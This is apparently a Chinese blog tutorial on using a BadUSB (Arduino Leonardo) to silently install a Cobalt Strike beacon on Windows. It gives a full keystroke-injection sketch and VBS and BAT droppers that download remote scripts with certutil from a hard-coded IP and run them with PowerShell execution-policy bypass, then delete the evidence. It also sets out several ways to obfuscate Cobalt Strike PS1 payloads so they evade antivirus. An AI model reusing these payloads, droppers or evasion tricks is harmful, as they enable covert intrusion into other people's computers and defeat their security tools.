Budusb后台静默上线Cobalt Strike与ps1的免杀

题记

       今天我终于把规划已久的技术完成了，badusb买了1个多月了，我的快乐值是与我的技术提升正相关的。技术流程就是WIN+R >> CMD打开POWERSHELL >> POWERSHELL远程执行CobaltStrike生成的PS1文件 >> 主机上线。哈哈哈哈哈哈，我就是个人才。这些天有关于美国系统被大规模入侵的新闻，真是强啊，黑客们。

       工具：cs4.2，base64编码网站，badusb，Arduino IDE，下载文件的网站。

       查免杀状况网站：https://www.virustotal.com/

前提知识（cmd远程下载文件）：

       start powershell

       $client = new-object System.Net.WebClient

       $client.DownloadFile(' http://103.234.72.5/shellcode.exe',' E:\2.exe')

免杀方法一（把payload代码转码）

       1、cs生成ps1（选x64和不选生成的powershell代码不一样，选上有无变量，没选有变量）

       2、主要改[Byte[]]$var_code那一行

       3、把FromBase64String直接改成byte数组。

在powershell.exe里面执行以下命令就能生成数组了。

       $string = ''

       $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】')

       $s |foreach { $string = $string + $_.ToString()+','}

       $string > c:\1.txt 或者$string 短的话直接查看即可。

       4、把[Byte[]]$var_code替换掉（这个方式免杀差一点，但是能免杀火绒）

免杀方法二（把核心字符串全部base64加密后解密输出）

       1、生成一个ps1木马。

       2、把中间核心的字符串全部base64编码。

       3、在base64编码后边写入还原语句就能绕过大部分杀软了。

       解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

       变量名记得后边也改掉。

       4、执行powershell -ExecutionPolicy bypass -File C:\\POWERSHELL.PS1机器上线。

免杀方法进阶（完美版）（base64加密后分段赋值后解密输出）

       接上面的免杀之后进阶版，把base64编码后的字符拆开然后在后面以变量和在一起。

       可以看到免杀效果是极好的。

Badusb实现后台静默执行上线CobaltStrike

       实现以VBS文件形式远程下载并执行CobaltStrike生成的PS1文件，来达到后台静默执行的目的。注：taskmgr.exe快速打开任务管理器，从此告别了ctrl+alt+.了

效果（点击下方空白地方跳转flash页面查看上线预览图，博客园不支持插入视频）：

       1、首先用kali创建一个网站。把要利用的文件全放在网站根目录下，好让目标主机下载运行。

       apt-get install apache2

       /var/www/html

       service apache2 start

       2、badusb制作

       首先下载arduino IDE，这个软件属于微软，可以免费下载。

在工具里面选择：

       开发板选择：Arduino Leonardo

       端口选择：com5（Arduino Leonardo）

POWERSHELL.ino（arduino烧录文件）

#include <Keyboard.h>

void setup() {

// putpower shell your setup code here, to run once

Keyboard.begin();//开始键盘通讯

delay(1000);//延时

Keyboard.press(KEY_LEFT_GUI);//win键

delay(200);

Keyboard.press('r');//r键

delay(200);

Keyboard.release(KEY_LEFT_GUI);

Keyboard.release('r');

Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法

Keyboard.release(KEY_CAPS_LOCK);

delay(300);

Keyboard.println("cmd /q /c mode con:COLS=15 LINES=1 && certutil -urlcache -split -f http://103.234.72.5/run.vbs d:\\run.vbs && timeout /t 1 && start /B d:\\run.vbs" ); //无回显

//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); //有回显

Keyboard.press(KEY_RETURN);

Keyboard.release(KEY_RETURN);

Keyboard.press(KEY_RETURN);

Keyboard.release(KEY_RETURN);

Keyboard.press(KEY_CAPS_LOCK);

Keyboard.release(KEY_CAPS_LOCK);

Keyboard.end();//结束键盘通讯

}

void loop() {

// put your main code here, to run repeatedly:

 

}

       解释：WIN+R打开运行窗口，通过打开CMD下载RUN.VBS，落地到D盘根目录后CMD关闭，并静默执行RUN.VBS

点击对勾编译文件，右符号上传到badusb。

3、落地文件

      

 RUN.VBS

set ws=WScript.CreateObject("WScript.Shell")

ws.Run "cmd /c certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.BAT d:\\POWERSHELL.BAT && start /B d:\\POWERSHELL.BAT",0

 

解释：

       通过certutil命令远程下载POWERSHELL.BAT，落地到D盘根目录

       静默执行POWERSHELL.BAT

       

POWERSHELL.BAT

@echo off

certutil -urlcache -split -f http://0.0.0.0:8888/POWERSHELL.PS1 d:\\POWERSHELL.PS1

TIMEOUT /T 1

start /B powershell.exe -executionpolicy bypass -file d:\\POWERSHELL.PS1

del D:\R*.VBS /f /s /qTIMEOUT /T 1

del D:\P*.PS1 /f /s /qdel D:\P*.BAT /f /s /q

exit

 

解释：

       通过certutil命令下载POWERSHELL.PS1，落地到D盘根目录

       考虑网络问题，下载POWERSHELL.PS1需要时间（测试的时候出现了执行速度太快，导致没下载完就直接执行了下一步），所以延时一秒

       通过powershell后台静默执行POWERSHELL.PS1，至此CS上线

       上线后立即删除R开头VBS文件

       延时一秒（测试出现powershell执行速度太慢，没上线）

       依次删除P开头PS1文件、P开头BAT文件

       把这三个文件上传到网站，badusb一插入机器就上线了。

参考文章

       感谢大神们的文章，受益匪浅。

       Badusb上线：https://mp.weixin.qq.com/s/pH9hcKGQHIRMxU3uDN3JUw

       Ps1介绍与免杀：https://www.cnblogs.com/forforever/p/13882312.html

       https://www.freebuf.com/articles/system/227467.html

       https://mp.weixin.qq.com/s/T9lCDVO1dSiugGcMwL5prg